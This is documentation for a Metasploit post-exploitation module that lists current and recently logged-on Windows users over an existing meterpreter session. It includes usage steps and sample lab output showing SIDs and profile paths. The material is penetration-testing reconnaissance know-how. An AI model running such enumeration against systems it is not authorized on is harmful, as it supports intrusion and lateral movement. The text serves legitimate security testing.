metasploit-gs/documentation/modules/post/windows/gather/enum_logged_on_users.md

Vulnerable Application

This module will enumerate current and recently logged on Windows users.

Verification Steps

1. Start msfconsole
2. Get meterpreter session
3. Do: use post/windows/gather/enum_logged_on_users
4. Do: set SESSION <session id>
5. Do: run

Options

CURRENT

Enumerate currently logged on users. Default: true

RECENT

Enumerate Recently logged on users. Default: true

SESSION

The session to run this module on.

Scenarios

Windows 7 (6.1 Build 7601, Service Pack 1).

[*] Meterpreter session 1 opened (192.168.1.3:4444 -> 192.168.1.10:49196) at 2019-12-13 04:36:54 -0700

msf exploit(multi/handler) > use post/windows/gather/enum_logged_on_users
msf post(windows/gather/enum_logged_on_users) > set SESSION 1
  SESSION => 1
msf post(windows/gather/enum_logged_on_users) > run

[*] Running against session 1

  Current Logged Users
  ====================

  SID                                            User
  ---                                            ----
  S-1-5-21-3113421791-4205713440-112141152-1000  TEST-PC\TEST


  [+] Results saved in: /root/.msf4/loot/20191213054456_default_192.168.1.10_host.users.activ_424278.txt

  Recently Logged Users
  =====================

  SID                                            Profile Path
  ---                                            ------------
  S-1-5-18                                       %systemroot%\system32\config\systemprofile
  S-1-5-19                                       C:\Windows\ServiceProfiles\LocalService
  S-1-5-20                                       C:\Windows\ServiceProfiles\NetworkService
  S-1-5-21-3113421791-4205713440-112141152-1000  C:\Users\TEST


  [*] Post module execution completed